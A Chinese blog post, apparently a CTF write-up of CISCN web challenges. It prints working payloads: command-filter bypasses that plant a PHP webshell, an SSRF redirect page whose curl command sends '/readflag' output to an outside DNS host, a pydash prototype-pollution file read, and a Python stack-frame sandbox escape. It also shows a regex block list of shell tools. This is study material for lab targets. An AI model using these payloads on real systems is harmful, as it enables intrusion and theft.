这个比赛也是我第一次打的比较大的比赛,为此我还在赛前把前几年的题目都刷了一下,结果今年的题目怎么变异了,这么难(道心给整碎了),为此我写下这篇博客来复现学习。

simple_php

这题在比赛的时候其实已经差不多做出来了,可是出题人把flag藏到了数据库里。。。。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>

首先可以看到其使用了escapeshellcmd函数

这个函数机会将所有与命令执行有关的函数都进行了转义,在打比赛的时候并没有找到怎么绕过这个函数。我再网上看到了两种绕法
1.在打比赛期间我们用的是php -r 来执行php代码,由于php -r和是将字符串当成php命令来执行所以其即使字符被转义也不影响执行。那么这样就可以执行php代码。
2.我再赛后看其他师傅的wp知道了,liunx系统竟然也有eval函数。那么直接使用eval l\s这样就可以绕过waf和escapesshellcmd函数。(可以用系统自带的eval来绕过escapeshellcmd,这么简单的绕法再网上竟然查不到)

首先是用第一种绕法来写

php -r $a=hex2bin(substr(_6C73,1,100));system($a);
首先由于我们无法输入如ls等系统命令,所有我们可以尝试使用数字函数来进行任意字符的构造,而再2019年的CISCN上出过一道利用数字函数来命令执行的题目叫love math/)
但是这题将ch个禁了导致我们无法使用dechex函数。而如果直接使用hex2bin函数来将16进制数字进行转换则会报错,于是我们使用了substr来强制将16进制改为字符串。使得hex2bin函数能正常返回转换后的值,
而后将变量$a变为system的参数来命令执行。
我们只要利用bin2hex来将字符串转换成16进制字符即可。
接下来我们可以进行写马操作来方便我们执行命令。

1
2
$c="printf '<?php eval(\$_POST[1]);phpinfo();?>' > 1.php";
echo bin2hex($c);

这道题目mysql的数据库账号密码为root root。
我们直接使用mysql -u root -p’root’ -e ‘SHOW DATABASES;’来查找数据库名
最后可以再F1ag_Se3Re7 表下找到flag

法二

这个方法是我在赛后看其他师傅的wp看到的,直接利用eval函数来进行命令执行
由于liunx中eval函数是将字符串当成命令来执行,即eval l\\s其实是相当于在终端中执行了l\s而在bash中会直接忽略这个反斜杠。即执行了ls。而我们在传入eval l\s经过escapeshellcmd()函数处理为eval l\\s这样waf是检测不到ls的但是可以命令执行。
那么我们执行使用如下命令就可以进行写马操作

1
eval printf c\HJpbnRmI\C\c8P3Boc\CBldmFsKCRfUE9TVFsxXSk7cGhwaW5mbygpOz8%2BJyA%2BI\DIucGhw|base\64 -d|s\h

easycms

审0day。。。

这个cms可以通过如上方法来访问我们想访问的function。

我们在API api.php文件下发现了qrcode这个方法,而这个方法里存在了一个函数dr_catcher_data

$ch = curl_init($url);
这个函数使用了curl_exce函数来访问而url就是我们输入的

而url就是变量$thumb的值而这个值我们是可控的.
那么这里就是ssrf的漏洞点,但是这个参数不能直接设定为127.0.0.1来进行访问,需要我们搭建一个302重定向的网页,使其重定向到127.0.0.1\flag.php?cmd=~
以此来进行命令执行.
搭建源码如下

1
2
3
<?php
Header("Location: 127.0.0.1/flag.php?cmd=curl+`/readflag`.DNS服务器");
?>

之后使用

来触发.

easycms_revenge

和上一题相比加了一个waf,来检测图片我们只要在网页输出一个图片内容即可

1
2
3
4
<?php
Header("Location: 127.0.0.1/flag.php?cmd=curl+`/readflag`.DNS服务器");
echo file_get_contents("1.png");
?>

sanic

这道题目是一个原型链污染,说实话在打比赛的时候有简单审计一下这个代码感觉是原型链污染,但是前面的检测waf绕不过也就不了了之了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

1
2
3
4
5
6
7
8
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")

首先需要绕过这个检测,我们都知道在http报文中;是拿来分隔不同的cookie的,这也就导致我们无法直接给user传入adm;n,在赛后我看了一下其他师傅的文章,发现可以使用八进制来绕过
admin="adm\073n";
绕过后就可以使用admin路由了
我们可以很明显的发现一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


我们可以看到这个pydash.set(pollute, key, value),其直接使用pydash.set来讲key作为键value作为内容在设定pollute这个对象。而这个key和value是我们可控的,这就导致了原型链污染。我们可以使用如下参数作为key
__init__.__globals__.__file__这样就可以污染到__file__,而src这个路由直接输出了file的文件内容,这就会造成任意文件读取。
而这道题还加了个waf。其会检测.我看复现的wp是通过审计pydash.set_来发现可以通过\\\\来绕过,即`{“key”:”init\\.globals\\.file“,”value”:”/etc/passwd”}可以将file__`污染为/etc/passwd。
在复现的环境下直接读取/proc/self/environ发现并没有flag。尝试了几次发现flag大概率需要rce才能拿到flag,网上的wp太少了,没几篇写了这题,所有先空着等wp多了在继续复现

mossfern

这题使用的是栈帧逃逸
python利用栈帧进行沙箱逃逸
Python利用栈帧逃逸
因为其将给禁了导致我们无法使用常规方法来进行逃逸
栈帧逃逸主要使用的几个方法f_code( 返回一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。),f_back(返回上一栈帧,主要用于逃逸),f_globals(用于获取全局变量)
我们先尝试传入

1
2
3
4
5
6
7
8
9
10
11
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()
frame = gen.gi_frame
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

回显

会发现其没有过滤,可以使用栈帧
我们传入
1
2
3
4
5
6
7
8
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
globals=frame.f_back
print(globals)
waff()

来尝试使用f_back进行逃逸发现其回显{“result”:”LOAD_GLOBAL\n\n”}
应该是进行了过滤,但是我们还可以使用另一个生成器frame = [x for x in g][0]来得到器栈帧对象
之后使用f_back和f_globals来得到全局变量`
globals
1
2
3
4
5
6
7
8
9
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
globals=frame.f_back.f_back.f_back.f_globals
print(globals)
waff()
但back输出脚本文件名时即为成功逃逸。 得到globals后我们就可以得到
builtinsbuiltins含有一些内置函数。如下‘ArithmeticError’, ‘AssertionError’, ‘AttributeError’, ‘BaseException’, ‘BaseExceptionGroup’, ‘BlockingIOError’, ‘BrokenPipeError’, ‘BufferError’, ‘BytesWarning’, ‘ChildProcessError’, ‘ConnectionAbortedError’, ‘ConnectionError’, ‘ConnectionRefusedError’, ‘ConnectionResetError’, ‘DeprecationWarning’, ‘EOFError’, ‘Ellipsis’, ‘EncodingWarning’, ‘EnvironmentError’, ‘Exception’, ‘ExceptionGroup’, ‘False’, ‘FileExistsError’, ‘FileNotFoundError’, ‘FloatingPointError’, ‘FutureWarning’, ‘GeneratorExit’, ‘IOError’, ‘ImportError’, ‘ImportWarning’, ‘IndentationError’, ‘IndexError’, ‘InterruptedError’, ‘IsADirectoryError’, ‘KeyError’, ‘KeyboardInterrupt’, ‘LookupError’, ‘MemoryError’, ‘ModuleNotFoundError’, ‘NameError’, ‘None’, ‘NotADirectoryError’, ‘NotImplemented’, ‘NotImplementedError’, ‘OSError’, ‘OverflowError’, ‘PendingDeprecationWarning’, ‘PermissionError’, ‘ProcessLookupError’, ‘RecursionError’, ‘ReferenceError’, ‘ResourceWarning’, ‘RuntimeError’, ‘RuntimeWarning’, ‘StopAsyncIteration’, ‘StopIteration’, ‘SyntaxError’, ‘SyntaxWarning’, ‘SystemError’, ‘SystemExit’, ‘TabError’, ‘TimeoutError’, ‘True’, ‘TypeError’, ‘UnboundLocalError’, ‘UnicodeDecodeError’, ‘UnicodeEncodeError’, ‘UnicodeError’, ‘UnicodeTranslateError’, ‘UnicodeWarning’, ‘UserWarning’, ‘ValueError’, ‘Warning’, ‘ZeroDivisionError’, ‘_’, ‘buildclass‘, ‘debug‘, ‘doc‘, ‘import‘, ‘loader‘, ‘name‘, ‘package‘, ‘spec‘, ‘abs’, ‘aiter’, ‘all’, ‘anext’, ‘any’, ‘ascii’, ‘bin’, ‘bool’, ‘breakpoint’, ‘bytearray’, ‘bytes’, ‘callable’, ‘chr’, ‘classmethod’, ‘compile’, ‘complex’, ‘copyright’, ‘credits’, ‘delattr’, ‘dict’, ‘dir’, ‘divmod’, ‘enumerate’, ‘eval’, ‘exec’, ‘exit’, ‘filter’, ‘float’, ‘format’, ‘frozenset’, ‘getattr’, ‘globals’, ‘hasattr’, ‘hash’, ‘help’, ‘hex’, ‘id’, ‘input’, ‘int’, ‘isinstance’, ‘issubclass’, ‘iter’, ‘len’, ‘license’, ‘list’, ‘locals’, ‘map’, ‘max’, ‘memoryview’, ‘min’, ‘next’, ‘object’, ‘oct’, ‘open’, ‘ord’, ‘pow’, ‘print’, ‘property’, ‘quit’, ‘range’, ‘repr’, ‘reversed’, ‘round’, ‘set’, ‘setattr’, ‘slice’, ‘sorted’, ‘staticmethod’, ‘str’, ‘sum’, ‘super’, ‘tuple’, ‘type’, ‘vars’, ‘zip’首先我们要得到dir这个函数可以查看一个对象包含的方法属性变量等
1
2
3
4
5
6
7
8
9
10
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
globals=frame.f_back.f_back.f_back.f_globals
builtins=globals["_""_builtins_""_"]
dir=builtins.dir
print(dir(globals))
如上我们可以得到全局变量的使用方法属性等,如果其有包含eval等函数可以直接使用,但是这题是没有的 我在复现的时候有尝试通过
builtins来获取eval之后尝试命令执行但不知道为什么无法执行 代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
def waff():
def f():
yield g.gi_frame.f_back

g = f()
#frame = next(g)
frame = [x for x in g][0]
globals=frame.f_back.f_back.f_back.f_globals
builtins=globals["_""_builtins_""_"]
dir=builtins.dir
eval=builtins.eval
print(eval("_""_import_""_('os').popen('ls').read()"))
waff()
命令执行并不回显而且ping dnslog服务器也无法ping通。 所有放弃这个方法 但是我们看源码会发现其存在一个操作
1
2
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
其将flag变量之间替换runner文件的THIS_IS_SEED,这就导致了flag的值变成了常量,可以通过输出co_consts来得到flag的值。 co_consts使用一个存储了全局所有出现的字面常量的值。 {% asset_img "12.png" "alt text" %} 那么我们只要输出co_consts就可以得到flag 我们使用f_code来得到代码对象,在通过代码对象来得到co_consts
1
2
3
4
5
6
7
8
9
10
11
12
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
globals=frame.f_back.f_back.f_back.f_globals
print(globals)
builtins=globals["_""_builtins_""_"]
dir=builtins.dir
flag=frame.f_back.f_back.f_back.f_code
print(flag.co_consts)
waff()
但是由于程序对输出有一个判断
1
2
3
if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
由于我们输出的是全局的常数所以会输出THIS_IS_SEED导致无法通过检测。 我们需要做进一步处理 通过
builtins_
`下的str来将flag.co_consts强制转换为字符串,然后一个字符一个字符输出,字符之间以空格分割代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
globals=frame.f_back.f_back.f_back.f_globals
builtins=globals["_""_builtins_""_"]
flag=frame.f_back.f_back.f_back.f_code.co_consts
str=builtins.str
flag=str(flag)
for i in flag:
print(i,end=" ")
waff()

得到flag